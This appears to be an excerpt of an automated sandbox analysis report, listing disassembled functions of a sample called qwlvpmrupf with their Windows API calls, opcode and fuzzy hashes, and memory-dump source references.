Opcode ID: 041daafabf1589b70f4939415bd85b31b4bc4959b5e15c16a829286c6dffe0a5
Instruction ID: 45df7bfbc8958ea0b0fb3c585f1ac92de38dbc1095741dab1ec34b700bfaab50
Opcode Fuzzy Hash: 041daafabf1589b70f4939415bd85b31b4bc4959b5e15c16a829286c6dffe0a5
Instruction Fuzzy Hash: E411E371240208BEEF215F65CC06FAB7BA8EFC5B14F11452AFA55E61E0D675E8218B28

Function 004061E1 Relevance: 7.0, APIs: 3, Strings: 1, Instructions: 47windowCOMMON

Download Yara Rule

APIs

GetMenuItemInfoW.USER32(?,?,?,00000030), ref: 00406220
SetMenuItemInfoW.USER32(?,?,?,00000030), ref: 0040624D
DrawMenuBar.USER32(?), ref: 0040625C

Strings

0, xrefs: 004061EE

Memory Dump Source

Source File: 00000007.00000002.1952140583.0000000000371000.00000020.00000001.01000000.0000000A.sdmp, Offset: 00370000, based on PE: true

Associated: 00000007.00000002.1952117573.0000000000370000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000007.00000002.1952200113.000000000040D000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000007.00000002.1952200113.0000000000433000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000007.00000002.1952252060.000000000043D000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000007.00000002.1952275535.0000000000445000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_7_2_370000_qwlvpmrupf.jbxd

Similarity

API ID: Menu$InfoItem$Draw
String ID: 0
API String ID: 3227129158-4108050209
Opcode ID: 3d4b9fb700177bbdd7b1db3fa73980a06934a08a0d653f9b96f7fff63146043c
Instruction ID: bd595aa3acd9a3f954a4b7f100ec9096e76ed37d7d875cf58ebaaa6a9e6eebfb
Opcode Fuzzy Hash: 3d4b9fb700177bbdd7b1db3fa73980a06934a08a0d653f9b96f7fff63146043c
Instruction Fuzzy Hash: AB018031500218EFDF219F61DC44BAB7BB5FF44351F1480AAF84AEA190DB348995EF25

Function 003D090F Relevance: 6.3, APIs: 4, Instructions: 322COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000007.00000002.1952140583.0000000000371000.00000020.00000001.01000000.0000000A.sdmp, Offset: 00370000, based on PE: true

Associated: 00000007.00000002.1952117573.0000000000370000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000007.00000002.1952200113.000000000040D000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000007.00000002.1952200113.0000000000433000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000007.00000002.1952252060.000000000043D000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000007.00000002.1952275535.0000000000445000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_7_2_370000_qwlvpmrupf.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 71c2590894f82a49703453823d09b9a3c0e54cbb6d3a4eace36a270ad4b550f1
Instruction ID: c24f671721e5012e938a1985eb68bd6c98499e6736c34f89814499c4075cd21c
Opcode Fuzzy Hash: 71c2590894f82a49703453823d09b9a3c0e54cbb6d3a4eace36a270ad4b550f1
Instruction Fuzzy Hash: E4C16A76A00206EFCB09CFA4D894BAAB7B5FF48B04F11859AE405AF351D731ED41CB90

Function 003A4210 Relevance: 6.3, APIs: 4, Instructions: 305COMMON

Download Yara Rule

APIs

_strrchr.LIBCMT ref: 003A429B
__alldvrm.LIBCMT ref: 003A449C
__alldvrm.LIBCMT ref: 003A44BE

Memory Dump Source

Source File: 00000007.00000002.1952140583.0000000000371000.00000020.00000001.01000000.0000000A.sdmp, Offset: 00370000, based on PE: true

Associated: 00000007.00000002.1952117573.0000000000370000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000007.00000002.1952200113.000000000040D000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000007.00000002.1952200113.0000000000433000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000007.00000002.1952252060.000000000043D000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000007.00000002.1952275535.0000000000445000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_7_2_370000_qwlvpmrupf.jbxd

Similarity

API ID: __alldvrm$_strrchr
String ID:
API String ID: 1036877536-0
Opcode ID: 173a905e0583d248f4586312a6838000a577cfe73f6efb9ac5c35750ff0a0cfb
Instruction ID: 3eeed3476b19ae56acf066f8edcfc5a6b725c1ad91fc306acfe423f18d7570ad
Opcode Fuzzy Hash: 173a905e0583d248f4586312a6838000a577cfe73f6efb9ac5c35750ff0a0cfb
Instruction Fuzzy Hash: D3A169769007869FDB27CF19C8917AEBBE4EF9B310F19426DE5859B281C3B88D41C750

Function 003D0CC6 Relevance: 6.2, APIs: 4, Instructions: 230COMMON

Download Yara Rule

APIs

ProgIDFromCLSID.OLE32(?,00000000,?,00000000,00000800,00000000,?,00410BD4,?), ref: 003D0E80
CoTaskMemFree.OLE32(00000000,00000000,?,00000000,00000800,00000000,?,00410BD4,?), ref: 003D0E98
CLSIDFromProgID.OLE32(?,?,00000000,0040DCE0,000000FF,?,00000000,00000800,00000000,?,00410BD4,?), ref: 003D0EBD
_memcmp.LIBVCRUNTIME ref: 003D0EDE

Memory Dump Source

Source File: 00000007.00000002.1952140583.0000000000371000.00000020.00000001.01000000.0000000A.sdmp, Offset: 00370000, based on PE: true

Associated: 00000007.00000002.1952117573.0000000000370000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000007.00000002.1952200113.000000000040D000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000007.00000002.1952200113.0000000000433000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000007.00000002.1952252060.000000000043D000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000007.00000002.1952275535.0000000000445000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_7_2_370000_qwlvpmrupf.jbxd

Similarity

API ID: FromProg$FreeTask_memcmp
String ID:
API String ID: 314563124-0
Opcode ID: 1831ecc356a8ee2f1e8b0fcbfa5903edfcd54ca5505a93c6ee39065717e5caa0
Instruction ID: fc09d62fda82a23c8d059204dd3035e2db4eb189dc4b4403c4af600ff08a4f4b
Opcode Fuzzy Hash: 1831ecc356a8ee2f1e8b0fcbfa5903edfcd54ca5505a93c6ee39065717e5caa0
Instruction Fuzzy Hash: 1A813972A00109EFCB05DFE4C984EEEB7B9FF89715F204559E506AB250DB71AE06CB60

Function 003F2433 Relevance: 6.1, APIs: 4, Instructions: 138networkCOMMON

Download Yara Rule

APIs

socket.WSOCK32(00000002,00000002,00000011), ref: 003F245A
WSAGetLastError.WSOCK32 ref: 003F2468
#21.WSOCK32(?,0000FFFF,00000020,00000002,00000004), ref: 003F24E7
WSAGetLastError.WSOCK32 ref: 003F24F1

Memory Dump Source

Source File: 00000007.00000002.1952140583.0000000000371000.00000020.00000001.01000000.0000000A.sdmp, Offset: 00370000, based on PE: true

Associated: 00000007.00000002.1952117573.0000000000370000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000007.00000002.1952200113.000000000040D000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000007.00000002.1952200113.0000000000433000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000007.00000002.1952252060.000000000043D000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000007.00000002.1952275535.0000000000445000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_7_2_370000_qwlvpmrupf.jbxd

Similarity

API ID: ErrorLast$socket
String ID:
API String ID: 1881357543-0
Opcode ID: 6df32e4ce799310248f556ff3a3c347e398dbf58c0e7b8454e4b4e7f75724585
Instruction ID: e11c854c66414ff3ce8a3c886e4bd21fe3931cd6c4e6703ee95724270b8826c2
Opcode Fuzzy Hash: 6df32e4ce799310248f556ff3a3c347e398dbf58c0e7b8454e4b4e7f75724585
Instruction Fuzzy Hash: E741D075600200AFE722AF24C896F7A77E5AB04708F54C498FA199F3D2D776ED42CB90

Function 00406BD7 Relevance: 6.1, APIs: 4, Instructions: 138COMMON

Download Yara Rule

APIs

GetWindowRect.USER32(?,?), ref: 00406C41
ScreenToClient.USER32(?,?), ref: 00406C74
MoveWindow.USER32(?,?,?,?,000000FF,00000001,?,?,?,?,?), ref: 00406CE1

Memory Dump Source

Source File: 00000007.00000002.1952140583.0000000000371000.00000020.00000001.01000000.0000000A.sdmp, Offset: 00370000, based on PE: true

Associated: 00000007.00000002.1952117573.0000000000370000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000007.00000002.1952200113.000000000040D000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000007.00000002.1952200113.0000000000433000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000007.00000002.1952252060.000000000043D000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000007.00000002.1952275535.0000000000445000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_7_2_370000_qwlvpmrupf.jbxd

Similarity

API ID: Window$ClientMoveRectScreen
String ID:
API String ID: 3880355969-0
Opcode ID: a337369578c95242dbc2dc53664b9799082b3cd375092de74e83f8b6ce446f3b
Instruction ID: 154786cc4a0d7b533d2dab87e592d84eacf8de208b11d37605bc521b3b380b3d
Opcode Fuzzy Hash: a337369578c95242dbc2dc53664b9799082b3cd375092de74e83f8b6ce446f3b
Instruction Fuzzy Hash: B4515F74A00108AFDF24DF64C9809AE7BB6FF45360F11816AF856AB3A0D774ED91CB94

Function 003E6033 Relevance: 6.1, APIs: 4, Instructions: 110fileCOMMON

Download Yara Rule

APIs

CreateHardLinkW.KERNEL32(00000002,?,00000000), ref: 003E60DD
GetLastError.KERNEL32(?,00000000), ref: 003E6103
DeleteFileW.KERNEL32(00000002,?,00000000), ref: 003E6128
CreateHardLinkW.KERNEL32(00000002,?,00000000,?,00000000), ref: 003E6154

Memory Dump Source

Source File: 00000007.00000002.1952140583.0000000000371000.00000020.00000001.01000000.0000000A.sdmp, Offset: 00370000, based on PE: true

Associated: 00000007.00000002.1952117573.0000000000370000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000007.00000002.1952200113.000000000040D000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000007.00000002.1952200113.0000000000433000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000007.00000002.1952252060.000000000043D000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000007.00000002.1952275535.0000000000445000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_7_2_370000_qwlvpmrupf.jbxd

Similarity

API ID: CreateHardLink$DeleteErrorFileLast
String ID:
API String ID: 3321077145-0
Opcode ID: 1bc1ef8b7c4e8ed21f77705721f1ca0caf693207c259dd799f9b573477478895
Instruction ID: d89a4d81e016af2f960d2c130d451a1a3dd79c0bbe0906295afd0a433e9278d5
Opcode Fuzzy Hash: 1bc1ef8b7c4e8ed21f77705721f1ca0caf693207c259dd799f9b573477478895
Instruction Fuzzy Hash: 6B416F39600610DFCB22EF15C555A1EBBE2EF59350B19C088E85AAF362CB34FC01CB91

Function 00402039 Relevance: 6.1, APIs: 4, Instructions: 101COMMON

Download Yara Rule

APIs

GetForegroundWindow.USER32 ref: 0040204A

Part of subcall function 003D42CC: GetWindowThreadProcessId.USER32(?,00000000), ref: 003D42E6
Part of subcall function 003D42CC: GetCurrentThreadId.KERNEL32 ref: 003D42ED
Part of subcall function 003D42CC: AttachThreadInput.USER32(00000000,?,00000000,00000000,?,003D2E43), ref: 003D42F4

GetCaretPos.USER32(?), ref: 0040205E
ClientToScreen.USER32(00000000,?), ref: 004020AB
GetForegroundWindow.USER32 ref: 004020B1

Memory Dump Source

Source File: 00000007.00000002.1952140583.0000000000371000.00000020.00000001.01000000.0000000A.sdmp, Offset: 00370000, based on PE: true

Associated: 00000007.00000002.1952117573.0000000000370000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000007.00000002.1952200113.000000000040D000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000007.00000002.1952200113.0000000000433000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000007.00000002.1952252060.000000000043D000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000007.00000002.1952275535.0000000000445000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_7_2_370000_qwlvpmrupf.jbxd

Similarity

API ID: ThreadWindow$Foreground$AttachCaretClientCurrentInputProcessScreen
String ID:
API String ID: 2759813231-0
Opcode ID: 372862735d1f6fac371acd9ee7ebb02aa6fbddf4a07dee09bc64a1a5c49fdcf8
Instruction ID: f2461ba00a423ad0869799a376a608e4a3ff9ffb5e83cd1ad2d30ee074f94cb7
Opcode Fuzzy Hash: 372862735d1f6fac371acd9ee7ebb02aa6fbddf4a07dee09bc64a1a5c49fdcf8
Instruction Fuzzy Hash: 4C314371D00209AFC715EFAAC985CAFB7F8EF48304B1084AAE519EB351D675DE05CB90

Function 003DE7C1 Relevance: 6.1, APIs: 4, Instructions: 87COMMON

Download Yara Rule

APIs

Part of subcall function 00374154: _wcslen.LIBCMT ref: 00374159

_wcslen.LIBCMT ref: 003DE7F7
_wcslen.LIBCMT ref: 003DE80E
_wcslen.LIBCMT ref: 003DE839
GetTextExtentPoint32W.GDI32(?,00000000,00000000,?), ref: 003DE844

Memory Dump Source

Source File: 00000007.00000002.1952140583.0000000000371000.00000020.00000001.01000000.0000000A.sdmp, Offset: 00370000, based on PE: true

Associated: 00000007.00000002.1952117573.0000000000370000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000007.00000002.1952200113.000000000040D000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000007.00000002.1952200113.0000000000433000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000007.00000002.1952252060.000000000043D000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000007.00000002.1952275535.0000000000445000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_7_2_370000_qwlvpmrupf.jbxd

Similarity

API ID: _wcslen$ExtentPoint32Text
String ID:
API String ID: 3763101759-0
Opcode ID: 747ca1ab431fc4905c0793c14d927fe9b626a0d14b74e32b326e8cebfa49f5bb
Instruction ID: c4079296698be3a3c2dbf661b9371066acaf508b28b61de6382a546343c005e4
Opcode Fuzzy Hash: 747ca1ab431fc4905c0793c14d927fe9b626a0d14b74e32b326e8cebfa49f5bb
Instruction Fuzzy Hash: 8521A372D00314AFDB12EFA8D982BAEBBF8EF45750F154065E804BF345D6749E418BA1

Function 003D8184 Relevance: 6.1, APIs: 3, Strings: 1, Instructions: 71stringCOMMON

Download Yara Rule

APIs

Part of subcall function 003D960C: lstrlenW.KERNEL32(?,00000002,000000FF,?,?,?,003D8199,?,000000FF,?,003D8FE3,00000000,?,0000001C,?,?), ref: 003D961B
Part of subcall function 003D960C: lstrcpyW.KERNEL32(00000000,?,?,003D8199,?,000000FF,?,003D8FE3,00000000,?,0000001C,?,?,00000000), ref: 003D9641
Part of subcall function 003D960C: lstrcmpiW.KERNEL32(00000000,?,003D8199,?,000000FF,?,003D8FE3,00000000,?,0000001C,?,?), ref: 003D9672

lstrlenW.KERNEL32(?,00000002,000000FF,?,000000FF,?,003D8FE3,00000000,?,0000001C,?,?,00000000), ref: 003D81B2
lstrcpyW.KERNEL32(00000000,?,?,003D8FE3,00000000,?,0000001C,?,?,00000000), ref: 003D81D8
lstrcmpiW.KERNEL32(00000002,cdecl,?,003D8FE3,00000000,?,0000001C,?,?,00000000), ref: 003D8213

Strings

cdecl, xrefs: 003D820A

Memory Dump Source

Source File: 00000007.00000002.1952140583.0000000000371000.00000020.00000001.01000000.0000000A.sdmp, Offset: 00370000, based on PE: true

Associated: 00000007.00000002.1952117573.0000000000370000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000007.00000002.1952200113.000000000040D000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000007.00000002.1952200113.0000000000433000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000007.00000002.1952252060.000000000043D000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000007.00000002.1952275535.0000000000445000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_7_2_370000_qwlvpmrupf.jbxd

Similarity

API ID: lstrcmpilstrcpylstrlen
String ID: cdecl
API String ID: 4031866154-3896280584
Opcode ID: 47846aa450b0d9b330d69cae2f678a020b579305bdb87cba4de26847c544cbb3
Instruction ID: f18a01eab54ddc80626e4bc0d0b5796d144954695395cd15d4aab291546d776f
Opcode Fuzzy Hash: 47846aa450b0d9b330d69cae2f678a020b579305bdb87cba4de26847c544cbb3
Instruction Fuzzy Hash: CF11D33B600201ABCB166F74E845A7A77A9FF99760B50402BF946CB390EF31A911C794

Function 00408621 Relevance: 6.1, APIs: 4, Instructions: 70COMMON

Download Yara Rule

APIs

GetWindowLongW.USER32(?,000000F0), ref: 0040866A
SetWindowLongW.USER32(00000000,000000F0,?), ref: 00408689
SetWindowLongW.USER32(00000000,000000EC,000000FF), ref: 004086A1
SetWindowPos.USER32(00000000,00000000,00000000,00000000,00000000,00000000,?,?,?,?,?,?,?,?,003EC10A,00000000), ref: 004086CA

Part of subcall function 00372441: GetWindowLongW.USER32(00000000,000000EB), ref: 00372452

Memory Dump Source

Source File: 00000007.00000002.1952140583.0000000000371000.00000020.00000001.01000000.0000000A.sdmp, Offset: 00370000, based on PE: true

Associated: 00000007.00000002.1952117573.0000000000370000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000007.00000002.1952200113.000000000040D000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000007.00000002.1952200113.0000000000433000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000007.00000002.1952252060.000000000043D000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000007.00000002.1952275535.0000000000445000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_7_2_370000_qwlvpmrupf.jbxd

Similarity

API ID: Window$Long
String ID:
API String ID: 847901565-0
Opcode ID: ebbcc9b62084ad22c8ea28d972a99e270989b71a55f00fe172554d5d9050924e
Instruction ID: 1cbe517aceedd365546f18faf4a36a39bcedbb08780c9e241af41ac9bbca3f80
Opcode Fuzzy Hash: ebbcc9b62084ad22c8ea28d972a99e270989b71a55f00fe172554d5d9050924e
Instruction Fuzzy Hash: 5911A271A00215AFDB109F68CE04A6B3BA5AB45370F124B39F979EB2E0DB358911CB58

Function 003A2099 Relevance: 6.1, APIs: 4, Instructions: 63COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000007.00000002.1952140583.0000000000371000.00000020.00000001.01000000.0000000A.sdmp, Offset: 00370000, based on PE: true

Associated: 00000007.00000002.1952117573.0000000000370000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000007.00000002.1952200113.000000000040D000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000007.00000002.1952200113.0000000000433000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000007.00000002.1952252060.000000000043D000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000007.00000002.1952275535.0000000000445000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_7_2_370000_qwlvpmrupf.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: d10c9f8a6d22d7ebe96222aa676cfbf2d8ab732cef6c383f3852281c4a30c8ec
Instruction ID: 88bf180d8fc561b06f3fe2e774e8016f0595ff51b1cadb71f124112339590fae
Opcode Fuzzy Hash: d10c9f8a6d22d7ebe96222aa676cfbf2d8ab732cef6c383f3852281c4a30c8ec
Instruction Fuzzy Hash: BB01ADB26096167EF622667D6CC1F27674DDF533B8B320329B631A51D2EA708C418560

Function 003D22B7 Relevance: 6.1, APIs: 4, Instructions: 56windowCOMMON

Download Yara Rule

APIs

SendMessageW.USER32(?,000000B0,?,?), ref: 003D22D7
SendMessageW.USER32(?,000000C9,?,00000000), ref: 003D22E9
SendMessageW.USER32(?,000000C9,?,00000000), ref: 003D22FF
SendMessageW.USER32(?,000000C9,?,00000000), ref: 003D231A

Memory Dump Source

Source File: 00000007.00000002.1952140583.0000000000371000.00000020.00000001.01000000.0000000A.sdmp, Offset: 00370000, based on PE: true

Associated: 00000007.00000002.1952117573.0000000000370000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000007.00000002.1952200113.000000000040D000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000007.00000002.1952200113.0000000000433000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000007.00000002.1952252060.000000000043D000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000007.00000002.1952275535.0000000000445000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_7_2_370000_qwlvpmrupf.jbxd

Similarity

API ID: MessageSend
String ID:
API String ID: 3850602802-0
Opcode ID: 2cd306eb4de262b7ee6f38b62e769711c627da37fd2606eb3f6baf6e48c30ae3
Instruction ID: 6c05a1b000b674734a65b4c0d54f7c61b6460a0cd23b9cb1b440a324864dce80
Opcode Fuzzy Hash: 2cd306eb4de262b7ee6f38b62e769711c627da37fd2606eb3f6baf6e48c30ae3
Instruction Fuzzy Hash: 0D110C3AD00218FFDB129BA5DD85F9EBB78EF18750F210092E600B7290D6716F10DB94

Function 0040A852 Relevance: 6.1, APIs: 4, Instructions: 55COMMON

Download Yara Rule

APIs

Part of subcall function 00372441: GetWindowLongW.USER32(00000000,000000EB), ref: 00372452

GetClientRect.USER32(?,?), ref: 0040A890
GetCursorPos.USER32(?), ref: 0040A89A
ScreenToClient.USER32(?,?), ref: 0040A8A5
DefDlgProcW.USER32(?,00000020,?,00000000,?), ref: 0040A8D9

Memory Dump Source

Source File: 00000007.00000002.1952140583.0000000000371000.00000020.00000001.01000000.0000000A.sdmp, Offset: 00370000, based on PE: true

Associated: 00000007.00000002.1952117573.0000000000370000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000007.00000002.1952200113.000000000040D000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000007.00000002.1952200113.0000000000433000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000007.00000002.1952252060.000000000043D000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000007.00000002.1952275535.0000000000445000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_7_2_370000_qwlvpmrupf.jbxd

Similarity

API ID: Client$CursorLongProcRectScreenWindow
String ID:
API String ID: 4127811313-0
Opcode ID: e6bbadc67d10896edc9b3fa936ede406a742486ad8b9241f8b38efd3dec6a803
Instruction ID: 31290844f0c34bf0f63862d1c0d59c7932763e19a0829b024ba0d2c4eaeae020
Opcode Fuzzy Hash: e6bbadc67d10896edc9b3fa936ede406a742486ad8b9241f8b38efd3dec6a803
Instruction Fuzzy Hash: CA113A72900219EFDF14EF95D9459EE77B8EB05300F108466F911F3190D738BA96CBAA

Function 003DEA02 Relevance: 6.1, APIs: 4, Instructions: 55synchronizationthreadwindowCOMMON

Download Yara Rule

APIs

GetCurrentThreadId.KERNEL32 ref: 003DEA29
MessageBoxW.USER32(?,?,?,?), ref: 003DEA5C
WaitForSingleObject.KERNEL32(00000000,000000FF,?,?,?,?), ref: 003DEA72
CloseHandle.KERNEL32(00000000,?,?,?,?), ref: 003DEA79

Memory Dump Source

Source File: 00000007.00000002.1952140583.0000000000371000.00000020.00000001.01000000.0000000A.sdmp, Offset: 00370000, based on PE: true

Associated: 00000007.00000002.1952117573.0000000000370000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000007.00000002.1952200113.000000000040D000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000007.00000002.1952200113.0000000000433000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000007.00000002.1952252060.000000000043D000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000007.00000002.1952275535.0000000000445000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_7_2_370000_qwlvpmrupf.jbxd

Similarity

API ID: CloseCurrentHandleMessageObjectSingleThreadWait
String ID:
API String ID: 2880819207-0
Opcode ID: c38aa62db4b48e1e49bdc0911f86b67f7d227e8daa6ab3cb41a0ba503fc92a6d
Instruction ID: a0abf740ad95f43bff0bcb255cb9f4daffd9496743b7e43459dd57150d9ae830
Opcode Fuzzy Hash: c38aa62db4b48e1e49bdc0911f86b67f7d227e8daa6ab3cb41a0ba503fc92a6d
Instruction Fuzzy Hash: A4110876900259BBC702AFB8AD05A9B7FBDAB46310F004226F824E7390D6B48D0487A0

Function 00408773 Relevance: 6.0, APIs: 4, Instructions: 46COMMON

Download Yara Rule

APIs

GetWindowRect.USER32(?,?), ref: 00408792
ScreenToClient.USER32(?,?), ref: 004087AA
ScreenToClient.USER32(?,?), ref: 004087CE
InvalidateRect.USER32(?,?,?,?,?,?,?,?,?,?,?,?), ref: 004087E9

Memory Dump Source

Source File: 00000007.00000002.1952140583.0000000000371000.00000020.00000001.01000000.0000000A.sdmp, Offset: 00370000, based on PE: true

Associated: 00000007.00000002.1952117573.0000000000370000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000007.00000002.1952200113.000000000040D000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000007.00000002.1952200113.0000000000433000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000007.00000002.1952252060.000000000043D000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000007.00000002.1952275535.0000000000445000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_7_2_370000_qwlvpmrupf.jbxd

Similarity

API ID: ClientRectScreen$InvalidateWindow
String ID:
API String ID: 357397906-0
Opcode ID: 050532de7558a6c3caf70fa877dd230d77afe944b647ec130767197e8a9695c7
Instruction ID: 6ca2930b73fe9a70d98d8093519daad8dfe2aaf9c9c4abd909d06d19f26d7281
Opcode Fuzzy Hash: 050532de7558a6c3caf70fa877dd230d77afe944b647ec130767197e8a9695c7
Instruction Fuzzy Hash: E81142B9D00209EFDB41CFA8C984AEEBBF9FB08310F108166E915E3214D735AA54CF54

Function 00372150 Relevance: 6.0, APIs: 4, Instructions: 23COMMON

Download Yara Rule

APIs

GetSysColor.USER32(00000008), ref: 0037216C
SetTextColor.GDI32(?,?), ref: 00372176
SetBkMode.GDI32(?,00000001), ref: 00372189
GetStockObject.GDI32(00000005), ref: 00372191

Memory Dump Source

Source File: 00000007.00000002.1952140583.0000000000371000.00000020.00000001.01000000.0000000A.sdmp, Offset: 00370000, based on PE: true

Associated: 00000007.00000002.1952117573.0000000000370000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000007.00000002.1952200113.000000000040D000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000007.00000002.1952200113.0000000000433000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000007.00000002.1952252060.000000000043D000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000007.00000002.1952275535.0000000000445000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_7_2_370000_qwlvpmrupf.jbxd

Similarity

API ID: Color$ModeObjectStockText
String ID:
API String ID: 4037423528-0
Opcode ID: 75537914af14759ca70407bc0b890d96b53daa44db3b6f1a4a41804465178180
Instruction ID: b3ff623ca7b88e358a1b74a331e345b5efedc624e0bea5cdf8d7ce9aafb2845d
Opcode Fuzzy Hash: 75537914af14759ca70407bc0b890d96b53daa44db3b6f1a4a41804465178180
Instruction Fuzzy Hash: 74E09B31680640BEDB225FB4AC097ED7B20AB56339F05C225F7FA580E1C77146449B10

Function 003CEBD6 Relevance: 6.0, APIs: 4, Instructions: 19COMMON

Download Yara Rule

APIs

GetDesktopWindow.USER32 ref: 003CEBD6
GetDC.USER32(00000000), ref: 003CEBE0
GetDeviceCaps.GDI32(00000000,0000000C), ref: 003CEC00
ReleaseDC.USER32(?), ref: 003CEC21

Memory Dump Source

Source File: 00000007.00000002.1952140583.0000000000371000.00000020.00000001.01000000.0000000A.sdmp, Offset: 00370000, based on PE: true

Associated: 00000007.00000002.1952117573.0000000000370000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000007.00000002.1952200113.000000000040D000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000007.00000002.1952200113.0000000000433000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000007.00000002.1952252060.000000000043D000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000007.00000002.1952275535.0000000000445000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_7_2_370000_qwlvpmrupf.jbxd

Similarity

